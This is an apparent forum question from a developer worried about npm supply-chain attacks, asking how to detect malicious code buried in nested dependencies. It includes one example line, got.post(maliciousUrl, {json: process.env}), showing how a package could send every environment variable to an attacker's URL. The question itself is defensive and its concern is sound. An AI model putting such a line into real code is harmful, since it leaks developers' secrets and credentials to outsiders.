Forgive me if this is senseless. But adding a line like this:
// to convey the idea I'm using https://www.npmjs.com/package/got
got.post(maliciousUrl, {json: process.env})
isn't enough to send the env vars to an un intended place?
So if a package I install has a code like this in it, am I in danger?
But even if I decided to be cautious when installing dependencies, any of the nested dependencies of that dependency contains such a malicious script, I'll again be in danger. How can we detect this and prevent any possibility of this?
I'm aware of the npm/github security teams' and the communities' valuable efforts to avoid these kinds of situations.
But a well obfuscated line in a deep dependency may not be easily detected.